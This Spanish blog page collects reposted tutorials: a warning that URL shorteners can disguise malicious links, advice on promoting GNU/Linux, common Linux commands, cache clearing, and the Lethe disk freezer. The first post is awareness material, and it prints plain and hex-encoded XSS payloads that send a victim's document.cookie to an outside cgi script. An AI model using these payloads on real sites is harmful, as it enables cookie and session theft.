El peligro de los acortadores de URL’S

Publicado por zerialkiller en tutos con 0 comentarios

oy en dia, gracias al furor que ha tenido twitter y otras redes sociales,  se ha hecho muy  comun utilizar paginas que nos brindan el servicio de acortar las direcciones. Este servicio es muy util, ya que  nos permiten  acortar aquellas urls, que  son demasiado largas y que son dificiles de recordar. Su uso  es muy sencillo solo basta con entrar a un sitio de tantos en la red que  nos dan este servicio  como por ejemplo: Bit.ly o tinyurl.com alli en una caja de texto pegamos la URL que deseamos recortar  damos click en el boton y listo tendremos nuestra URL recortada, algo asi como esto:

http://bit.ly/4G4ueH
http://tinyurl.com/ykfuc64

Sin embargo, esto puede llegar a convertirse en un arma de doble filo, debido a que  algun individuo de forma malintencionada puede “camuflar” una URL infectada con algun troyano, o una URL con un script que capture tus cookies (XSS). Y esto como ocurre?? Hay gente que puede caer en un truco tan viejo?? La respuesta es SI. Pongamos un ejemplo, un informatico  ve  que  una nena  muy linda, comparte un enlace de este tipo:

http://sitio.com/prueba.php?variable=”><script>document.location=’http://www.lugarscript.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script>

o este:

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63
%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%
6e%2f%63%6f%6f%6b%69%65%2e%63%67%693f%27%20%2b%64%6f%63%75%6d%65%
6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

Para cualquier persona con sentido comun (bueno eso creo y espero)  que vea este enlace, lo va a ver sospechoso y sabra que ese enlace no es lo que dice ser la nena linda.  Pero que pasaria si se usa una web que nos recorta la URL? Nuestro enlace malicioso quedaria asi:

http://bit.ly/2SOKtG

o asi:

http://bit.ly/3hPNpy

Ahora si, mas de una persona daria click en ese enlace, si la nena linda dice que en esa pequeña se encuentran sus fotos desnuda. Igualmente suele suceder con el URLmalware, muchas veces viene camuflado de esa forma, y  algunas personas  dan click sin pensar que hay detras de esa URL corta.

Recomendaciones.

  • Tener sentido comun, y no dar click en cualquier enlace.
  • No visitar enlaces sospechosos compartidos por mujeres voluptuosas  o en su defecto hombres.
  • Antes de dar click en una URL de este tipo, pase el puntero por el enlace, y este le va a mostrar la verdadera URL, de tal forma, sabras hacia donde te  lleva el enlace.

Estas son pequeñas cosas,  pero  que muchos usuarios de la red no lo saben,  y son blancos faciles de todo el malware que existe en la red.

de:rinconinformatico.net

Cómo ayudar a otros a migrar a Gnu/Linux

Publicado por zerialkiller en tutos con 0 comentarios

Hay una línea que separa a los usuarios de sistemas operativos Gnu/Linux en dos grandes grupos. Por un lado están los que al usarlo se llenan de alegría, satisfacción, conocimientos, espíritu de ayuda y un altruismo maravilloso; gente que no critica sin tener conocimientos ni fundamentos (que no se mete donde no debe); gente que le gusta ayudar, probar, intentar, fracasar, volver a intentar, aprender, vivir. Por otro lado están los “otros”, personas egocéntricas y que sin conocer mucho de “que va el rollo” ya se sienten parte de la “elite”; usan distribuciones solo por el placer de burlarse de los que usan Windows.

Es una línea muy delgada, casi imperceptible, y por tanto corremos el riesgo de pasar de un lado al otro a veces sin darnos cuenta. Este artículo es para los usuarios Gnu/Linux del primer grupo, gente altruista y con sed de conocimientos. Ese altruismo hace que nos convirtamos en “evangelizadores” (por llamarlo de alguna manera); personas con ganas de transformar para bien a nuestros amigos y hermanos. Siendo así, hablaremos un poco del cómo ayudar a otras personas a conocer el maravilloso mundo de Gnu/Linux, SIN recurrir a tontos métodos que nos hacen quedar siempre mal (como hacer críticas destructivas, presionar, imponer, insultar, etc.).

Puntos a tener en cuenta antes de intentar convencer a alguien de migrar a Linux

  • Nunca olvides la máxima: cada quien está en la libertad de usar el sistema operativo con el que se sienta bien; eso prima sobre todas las cosas.
  • Es necesario tener en cuenta los conocimientos, personalidad y edad de la otra persona. No es lo mismo encarar a una ama de casa, que a un estudiante, o a un ingeniero de sistemas.
  • NO intentes convertir a todos tus amigos de un solo tajo (el que mucho abarca, poco aprieta). Comienza por los más abiertos e inteligentes, y unos pocos a la vez. Es importante que ellos se sientan acompañados, puesto que el cambio puede ser difícil al principio… de lo contrario con el primer problema que se les presente, van a ir corriendo asustados de nuevo hacia Windows.
  • Ten en cuenta que estás gastando de tu tiempo para ayudar a alguien, si no te sientes bien haciéndolo no lo hagas. Si te sientes bien, hazlo con el mayor de los gustos… o ¿porqué si tienes que apresurarte para repararle el Windows XP de tu novia cada 2 meses? ¿tan rico te la chupa? NO, hombre! No más soporte a Microsoft. ¡Aprovecha ese tiempo ayudando de verdad a la gente; aprendiendo y enseñando!
  • NO lo intentes con personas que: NO tienen ganas de aprender, que son necias, que son perezosas, troles, que son tercas o que no te caen bien. O dicho de otra forma…
  • … intenta convencer a los usuarios que sean inteligentes, que tengan sed de conocimientos, que sean pacientes, personas cercanas a ti (amigos, parientes, a tu novi@(s), etc.), personas a las que les deseas el bien (porque eso es Linux: un bien).
  • Olvídate por un momento de decir “puedes modificar el código fuente”. NO es recomendable hacerlo. Por ejemplo, si le dices a tu abuelita que si usa Linux va a poder modificar los drivers de la tarjeta wireless para inyectar paquetes, que además podrá recompilar el kernel cada vez que lo desee, y que puede de paso aprender programación C++ avanzada leyendo los fuentes de programas de terceros, muy seguramente NO va a entender NADA, y en el peor de los casos buscará al cura del pueblo para que te exsorcise.Ese cuento del código fuente úsalo con las personas adecuadas: ingenieros de software, empresas en busca de servicios, estudiantes de programación, etc. No tiene sentido hacerlo con todas las personas.

Atraer usuarios al “otro lado” es una tarea más difícil de lo que parece. Millones de personas usan sistemas operativos de Microsoft pensando (ingenuamente) que es su única alternativa; otros han oído hablar pestes de los sistemas Linux de personas que han tenido malas experiencias. Sea cual sea el problema, lo mejor es siempre identificarlo antes de actuar/hablar.

Analicemos los diferentes problemas y cómo solucionarlos

1. La ignorancia

Muchas personas sencillamente NO conocen otras alternativas. El monopolio actual de Microsoft ha puesto un grueso velo de ignorancia en los ojos de estos ingenuos usuarios, y por tanto NO debemos juzgar a estas personas, simplemente porque NO tienen la culpa de ello.

¿Cómo afrontar este problema? La solución a la ignorancia es la educación. Debemos intentar explicar de la forma más amena posible algunos puntos:

Es importante que tengas unas buenas bases de conocimientos acerca de estos puntos. Hacer que una persona migre hacia Linux no es tarea fácil. Es necesario hablar con seguridad, demostrar satisfacción, hacer que la otra persona se pregunte “¿porqué diablos este tipo está tan feliz de esa cosa Linux?”.

2. Incultura y piratería

Linux es gratis! Sí, ¿y qué? Windows también lo es. Puedes comprar un CD por 5.000 pesos (2.5 US$, ó 1.6 Euros) en cualquier tienda, sin pagar ningún tipo de licencia. Incluso es posible descargarlo de Internet sin costo alguno. Puedes hacer copias y hacer con ellas lo que te apetezca. Mucha gente lo hace conscientemente, y no le avergüenza hacerlo (a mi tampoco).

Que Microsoft cobre por sus productos no es el problema; ellos han diseñado sistemas operativos, suites ofimáticas, diferentes programas, incluso hardware; y por tanto tienen derecho a cobrar lo que se les venga en gana por dichos servicios. No hay nada de malo en ello, independientemente de si nos dan libertades o no.

El meollo del asunto está en “Qué tan cultos somos” y “Qué clase de ejemplo estamos dando a nuestros amigos, hijos y futuras generaciones”. Nos hemos convertido en LADRONES, y parece que no nos importa ello. Eso es INCULTURA.

Afortunadamente es posible cambiar. Tenemos una maravillosa alternativa libre y gratuita: usar sistemas operativos Gnu/Linux. Sistemas que podemos copiar, regalar, vender, modificar, compartir y todo lo que se te venga a la cabeza, sin que esto nos convierta en piratas. Es importante aclarar eso a los demás, y si detectas que la persona a la que intentas explicarle esto le importa poco o nada el ser un ladrón pirata: ignórala, seguramente perderás tu valioso tiempo. Habla con personas que valgan la pena.

3. Linux NO es anticuado – Aprovecha los recursos

Mucha gente cree que Linux aún es una consola negra y lúgubre en donde todo hay que hacerlo con comandos. ¡Usa los recursos que tengas disponibles! Enséñales el Linux que tienes instalado en tu laptop, muéstrales un vídeo de Compiz Fusion de los tantos que hay. ¡Muchas cosas entran por los ojos! Esos bonitos efectos visuales son como un imán que atrae a nuevos usuarios, o al menos logran captar la atención y robarle una sonrisa de incredulidad a los que lo ven.

Muestra a los demás que visualmente Linux es superior a muchos otros sistemas operativos. Que no tenemos nada, absolutamente nada, que envidiarle a ningún otro sistema operativo. Tú ya lo sabes, ¡es hora de que los demás lo sepan también!

4. Software

Es importante hacer entender a la gente que no va a necesitar de Windows. Y en este punto es bueno que conozcas el software equivalente de Windows en Linux (para las aplicaciones más comunes), para lo cual hay bastantes listados y tablas en Internet.

Como sabrás tenemos suites ofimáticas, gestores de correo, herramientas para mensajería instantánea, navegadores web, gestores de descargasP2P y Torrents , y un largo etc.

Se trata más de desinformación por parte de los usuarios de Windows, pero para eso estamos: ¡para educar!

5. Los juegos

Aquí voy a hacer una pausa y a ponerme la mano en el corazón. Sí, está bien sí hay juegos para Gnu/Linux, pero (hay que reconocerlo) no tan atractivos como los de Windows. El problema radica principalmente en los desarrolladores de juegos, que solo sacan versiones para sistemas operativos de Microsoft.

Frente a este problema tenemos dos opciones: 1. configuramos los juegos de Windows para que corran sobre Linux, para lo cual podemos hacer uso de:

  • Wine (Wine Is Not an Emulator) http://www.winehq.org
  • Wine Doors http://www.wine-doors.org Wine Doors es una aplicación open source diseñada para instalar una gran variedad de software para Windows usando Wine.
  • PlayOnLinux http://www.playonlinux.com Play on Linux, te ofrece algunos scripts que automatizan el proceso de instalación y configuración de juegos en Linux, usando Wine
  • Cedega http://www.cedega.com
  • Crossover Games (cxgames) http://www.codeweavers.com

O (segundo) podemos simplemente usar los juegos que están desarrollados para ejecutarse directamente sobre Gnu/Linux, o que como en el caso de Enemy Territory: Quake Wars solo requieren algo de configuración extra para correrlos directamente (sin emuladores).

etqw

Existen bastantes juegos y la mayoría son libres y/o gratuitos, así que no hay excusa.

Recursos útiles

  • Para llamar la atención (suena feo, pero así es), nada mejor que pasarse por el Youtube y buscar vídeos de Compiz Fusion. Este tipo de software no es productivamente funcional, pero debemos reconocer que atraen gente. ¡Pero ojo! Este recurso NO es útil si se lo muestras a alguien a quien no le interese la apariencia de su sistema, o empresas que buscan rendimiento, seguridad y robustez.
  • Es necesario conocer las diferentes tipos de distribuciones que existen. Está bien, tu Ubuntu te sirve para lo que necesitas, pero hay otras muchas distribuciones deseosas de que las pruebes. Esto no solo sirve para encontrar tu distro ideal, sino que te permite conocer qué ofrece cada distro. De esta forma podrás recomendar la distro adecuada a la persona adecuada. Hablo de eso con más detalle en este artículo.
  • Una buena herramienta que puedes usar es Linux Distribution Chooser, el cual tiene un sistema en el que puedes diligenciar un formulario y que al final te sugerirá, según su criterio, cual distro es la más adecuada para ti.
  • El servicio de entrega de CD-ROMs de Ubuntu gratis de Canonical, es una muy buena herramienta para ti y tus amigos. Pero úsalo adecuadamente. Es normal (y sano) que te guardes un CD para ti, como recuerdo y copia de seguridad; pero la idea es que REGALES Y COMPARTAS los demás a tus amigos. Es necesario que sientan que es DE VERDAD GRATIS Y LIBRE, y que sientes un placer enorme al compartirlos con los demás.

extraido de: tecnicoslinux.com.ar

20 comandos imprescindibles

Publicado por zerialkiller en tutos con 2 Comentarios

A los nuevos usuarios que se acercan a Linux por primera vez, no les suele gustar utilizar el terminal o consola de comandos.

Sin llegar a ser imprescindible, sí es muy recomendable su uso. Ciertos comandos que utilizamos de forma habitual nos ahorran tiempo y mejoran nuestra velocidad y productividad. Aquí va un listado con 20 comandos que conviene tener a mano:

1 – Para encontrar los procesos que consumen más recursos. Si tu equipo va lento y quieres saber qué programa está consumiendo demasiada memoria:

ps aux | sort -nrk 4 | head

2- Para ver qué versión tenemos instalada de determinado paquete, por ejemplo para decidir si actualizamos determinada aplicación o no:

apt-cache policy xxxxxx

(reemplazamos xxxxxx con el nombre del paquete, por ejemplo deluge u cualquier otro).

3- Para montar una imagen iso sin necesidad de grabar la imagen en un CD o DVD (muy útil):

mount /xxx/image-file.iso /mnt/cdrom -o loop (reemplazamos xxx por el directorio)

4- Para saber dónde está determinado paquete:

whereis xxx (reemplazando  xxx por el nombre del paquete)

5- ¿Has instalado una nueva versión de un programa, y la vieja configuración sigue en marcha? Para eliminar los archivos de configuración:

sudo aptitude purge `dpkg –get-selections | grep deinstall | awk ‘{print $1}’`

6- Ver los últimos comandos que has utilizado:

history

7- Eliminar un paquete .deb (que no se ha instalado via aptitude).

sudo dpkg -r xxx

(reemplazando xxx por el nombre del paquete)

8- Crear una imagen iso de un CD o un DVD:

mkisofs -r -o xxxxxx.iso /cdrom/ (reemplazando xxx por el nombre del archivo que queremos crear)

9- Hacer una copia de seguridad antes de editar un archivo importante (por ejemplo, sources.list):

sudo cp /xxx/sources.list /xxx/sources.list.bak

(reeemplazamos xxx por el directorio correspondiente)

10- Añadir una entrada al archivo sources.list desde el terminal:

sudo echo “xxx” >> /etc/apt/sources.list (reemplazando xxx por la linea a añadir)

11- Borrar (dejar en blanco) un CD regrabable:

cdrecord -v dev=/dev/cdrom blank=fast

12- Reiniciar el sistema o servidor:

sudo shutdown -r now

13- Obtener un archivo de texto con la lista de los paquetes instalados (se crea este archivo llamado installed-packages en tu directorio de usuario):

dpkg –get-selections > installed-packages

14- Matar (o cerrar, que suena más suave) un proceso:

killall xxx

(reemplazando xxx por el nombre del proceso)

15- Eliminar archivos del gestor de actualizaciones que ya no son necesarios:

sudo aptitude autoclean

16- Añadir una clave a los repositorios:

sudo apt-key add xxx.gpg

Por ejemplo, para evitar errores de GPG.

17- Forzar la expulsión del CD:

sudo umount /media/cdrom/  -l

18- Seguridad: mantiene el terminal abierto pero limpia la clave sudo introducida.

sudo -k

19- Reemplazar un texto en varios archivos:

grep -lr -e ‘xxx’ * | xargs sed -i ’s/xxx/zzz/g’

(xxx es el texto viejo y zzz el texto que lo reemplaza).

20- Convertir archivos .ps (postscript) en PDF:

ps2pdf xxx.ps xxx.pdf

(si no tienes el comando ps2pdf, se instala escribiendo: sudo aptitude install ghostscript).

¿Te animas a usar los comandos? Añade este artículo a tus marcadores o favoritos para tener el listado siempre a mano.

tecnicoslinux.

Limpiar Memoria en GNU/Linux

Publicado por zerialkiller en tutos con Comentarios desactivados

En los sitemas que utlizan el Kernel de Linux existe una forma de limpiar la memoria cacheada en RAM, que es información que está ahí por si hace falta, pero que no tiene por qué necesariamente estar ahí, es totalmente prescindible.

Apache es una aplicación que utiliza mucho ese tipo de memoria, y claro, en un servidor web puede provocar que se utilice más RAM de la cuenta y puede provocar problemas no deseados como el empezar a paginar, que no es otra cosa que empezar a utilizar el disco duro con información que debería estar en RAM y como la velocidad de acceso a disco es muy inferior al acceso a RAM pues el equipo puede parecer que se ha quedado “colgado”, de forma que ni siquiera podamos llegar a logarnos en el mismo.

Otro ejemplo es el navegador web Firefox, el cual consume mucha memoria, sin que tengamos una pagina abierta con muchos contenidos.

Pero en el kernel 2.6.16 se introdujeron cambios y gracias a estos cambios la solución es muy sencilla, en el directorio /proc/sys/vm/ tenemos un fichero llamado drop_caches que es el encargado de decirle al kernel qué hacer con esa información que está en memoria, por defecto se permite el utilizar este tipo de memoria, pero para reducir RAM nos puede interesar que el kernel actúe de otra manera, modificando el valor del fichero con los siguientes valores:

  • 0: No libera nada.
  • 1: Libera la pagecache.
  • 2: Libera inodos y dentries.
  • 3: Libera pagecache, inodos y dentries.

La pagecache es la memoria la caché de páginas, un inodo es la representación de ficheros y directorios en memoria y las dentries son las entradas de directorio, componentes de un path, todos estos valores en RAM.

Para liberar podemos ejecutar estos comandos como root o con un sudo delante:

echo 1 > /proc/sys/vm/drop_caches : Libera la pagecache.


echo 2 > /proc/sys/vm/drop_caches : Libera inodos y dentries.


echo 3 > /proc/sys/vm/drop_caches : Libera pagecache, inodos y dentries.

Y por supuesto no es mala idea hacer esto de vez en cuando vía una entrada en el cron de root con un crontab -e  (ejecutar en una consola: sudo contrab -e) con lo siguiente:

#Entrada para limpiar la cache en memoria
3,18,33,48 * * * * sync; echo 3 > /proc/sys/vm/drop_caches

El sync que se pone antes es para asegurarnos que todos los objetos cacheados son liberados y es muy recomendable ponerlo siempre.

tecnicos Linux.

Lethe: el “deep freeze” GPL para GNU/Linux

Publicado por zerialkiller en tutos con 0 comentarios

¿Qué es Lethe?

Lethe es un “congelador” de particiones similar a Deep Freeze totalmente libre para Lihuen GNU/Linux y Debian GNU/Linux (probablemente funcione en otras distribuciones derivadas como Ubuntu, pero no se han hecho pruebas). Lethe hace funcionar las particiones de el o los discos rígidos como si fueran un Live CD. Todos los cambios que se realicen sobre el sistema de archivos en realidad no se guardan si no que se escriben en RAM. Cuando el sistema reinicia, el contenido nuevo es “olvidado” y se pierde, restaurando el o los discos a su estado original.

Lethe está basado en Rootaufs, originalmente escrito por Nicholas Schembri, a quien se agradece el haber publicado su script con licencia GPL y por hacer este trabajo posible.

Lethe, en mitología griega, es uno de los ríos del Hades. Quienes bebían de sus aguas experimentaban un olvido completo.

Instalación

Para instalar Lethe (en su versión de prueba 0.1-3) en Lihuen GNU/Linux o en Debian GNU/Linux son necesarios dos paquetes, aufs-modules y aufs-tools. Estos paquetes se pueden instalar con Synaptic, o desde una terminal con privilegios de administrador con los siguientes comandos

apt-get install aufs-tools

Luego es necesario instalar con Gdebi o también desde la terminal con dpkg el paquete lethe-0.1-3.

dpkg -i lethe_0.1-3-rev200905141647_i386.deb

Esto modifica la imagen initramfs del sistema y el menú de GRUB, pasándole un parámetro más al kernel aufs=tmpfs. Si no quiere arrancar el sistema en modo olvidar, simplemente remueva este argumento en el archivo de configuración de GRUB o en el momento de la carga presionando E en el menú de GRUB.